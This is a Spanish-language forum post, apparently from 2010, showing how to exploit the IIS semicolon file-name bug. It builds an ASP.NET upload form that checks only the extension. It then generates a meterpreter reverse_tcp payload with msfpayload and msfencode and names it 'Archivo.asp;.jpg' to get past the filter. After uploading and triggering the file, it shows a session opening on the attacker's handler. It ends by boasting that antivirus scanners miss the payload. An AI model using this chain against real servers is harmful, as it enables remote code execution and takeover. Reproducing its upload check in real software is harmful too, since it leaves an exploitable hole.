[Metasploit] Bug Microsoft IIS

By: Shell Root

By: Shell Root
Mucho tiempo atrás, vimos del Bug del Internet Information Server, ahora explicaré la forma de exploitarlo, usando a mi mejor amigo, Metasploit!. En que consiste este fallo?, Este fallo permite a un usuario subir un archivo "seguro" con extensión (jpg, png, etc) para cargar un script de ASP y obligar la ejecución del archivo dentro del servidor web.Pero como?, El error se produce cuando un nombre de archivo especificado en la forma de "Archivo.asp;. jpg", la aplicación comprueba la extensión del archivo y ve a ".jpg", pero el servidor IIS se detiene a analizar el primero ";" y ve ".asp".
Recordando un poco mi profesión (Desarrollador de Software), vamos a realizar un ejemplo practico, de como seria el upload en tiempo real y como seria el bypassin del script malicioso con la extensión .asp
Miremos el upload vulnerable! (Codeado en Visual Studio .NET)
Default.aspx
Código:
<%@ Page Language="VB" AutoEventWireup="false" CodeFile="Default.aspx.vb" Inherits="_Default" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>Upload By: Shell Root</title>
</head>
<body>
<form id="form1" runat="server">
<div>
<table style="width: 35%;">
<tr>
<td colspan="2" align="center"><h1>Upload By: Shell Root</h1></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td colspan="2" align="center">
<asp:FileUpload ID="FileUpload1" runat="server" Width="236px" />
</td>
</tr>
<tr>
<td colspan="2" align="center">
<asp:Button ID="BtnSubir" runat="server" Text="Subir" style="height: 26px" />
</td>
</tr>
</table>
</div>
</form>
</body>
</html>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>Upload By: Shell Root</title>
</head>
<body>
<form id="form1" runat="server">
<div>
<table style="width: 35%;">
<tr>
<td colspan="2" align="center"><h1>Upload By: Shell Root</h1></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td colspan="2" align="center">
<asp:FileUpload ID="FileUpload1" runat="server" Width="236px" />
</td>
</tr>
<tr>
<td colspan="2" align="center">
<asp:Button ID="BtnSubir" runat="server" Text="Subir" style="height: 26px" />
</td>
</tr>
</table>
</div>
</form>
</body>
</html>
Default.aspx.vb
Código
Partial Class _Default
Inherits System.Web.UI.Page
Protected Sub BtnSubir_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles BtnSubir.Click
Try
Dim fileName As String = Server.HtmlEncode(Me.FileUpload1.FileName)
Dim extension As String = System.IO.Path.GetExtension(fileName)
If (Me.FileUpload1.HasFile) Then
If (extension = ".jpg") Or (extension = ".gif") Or (extension = ".png") Or (extension = ".jpg") Then
Me.FileUpload1.SaveAs(Server.MapPath("~/Imagenes/" & FileUpload1.FileName))
Else
MsgBox("Error la extension de la foto debe ser tipo: .jpg, .gif, .png", MsgBoxStyle.Critical, "Error de Formato")
End If
End If
Catch ex As Exception
MsgBox("Error: " & ex.Message, MsgBoxStyle.Critical, "Error")
End Try
End Sub
End Class
Ahora ya tenemos el upload, tratemos de ingresar un archivo con extension no permitida, nos saldra el mensaje Error la extension de la foto debe ser tipo: .jpg, .gif, .png, pero si ingresamos una imagen verdadera con las extensiones permitidas, vemos que se puede visualizar si ingresamos a la URL http://localhost/Bug%20IIS/Imagenes/.
Ya tenemos el upload verificado, ahora vamos a crear un script malicioso, que nos devolvera una session del meterpreter. Así:
Código:
shellroot@shellroot-desktop:~$ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.142.137 LPORT=1234 R | msfencode -o /home/shellroot/evil.asp
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
Ingresamos a la consola del Metasploit, configuramos el multi/handler con los datos anteriores y lo ejecutamos.
Código:
shellroot@shellroot-desktop:~$ msfconsole
_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|
=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 503 exploits - 248 auxiliary
+ -- --=[ 193 payloads - 23 encoders - 8 nops
=[ svn r8404 updated today (2010.02.08)
msf > use multi/handler
reverse_tcp(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.142.137
LHOST => 192.168.142.137
msf exploit(handler) > set LPORT 1234
LPORT => 1234
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.142.137:1234
[*] Starting the payload handler...
_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|
=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 503 exploits - 248 auxiliary
+ -- --=[ 193 payloads - 23 encoders - 8 nops
=[ svn r8404 updated today (2010.02.08)
msf > use multi/handler
reverse_tcp(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.142.137
LHOST => 192.168.142.137
msf exploit(handler) > set LPORT 1234
LPORT => 1234
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.142.137:1234
[*] Starting the payload handler...
Ahora al archivo malicioso, le cambiamos el nombre de Archivo.asp a Archivo.asp;.jpg. Con esto bastará para bypassear el upload y ademas ejecutar el archivo malicioso dentro del servidor. Vamos al upload, lo buscamos y lo subimos, ahora, Como lo ejecutamos? Ingresamos a la URL http://localhost/Bug%20IIS/Imagenes/Archivo.asp;.jpg, con esto el servidor interpretará solo hasta Archivo.asp (Es lo unico que nos interesa que interprete). Con esto ejecutamos el archivo, miramos el multi/handler y woala, una session del meterpreter.
Código:
[*] Meterpreter session 1 opened (192.168.142.137:1234 -> 192.168.142.1:7752)
PD: En el siguiente enlace, podeis ver que el archivo malicioso no es detectado por lo antivirus. http://scanner.novirusthanks.org/file/82565444417285846994162575453479506298597559/
Citar
File Info
Report date: 8.2.2010 at 22.49.59 (GMT 1)
File name: Archivo.asp
File size: 316058 bytes
MD5 Hash: 03dc8eb3c6debe8d6fa7ebfd8a526b53
SHA1 Hash: 6202F26B60FAA2255B1AF6251508E32C33CCF8FA
Detection rate: 0 on 20
Status: CLEAN
Scan report generated by NoVirusThanks.org
By: Shell Root










Autor




En línea


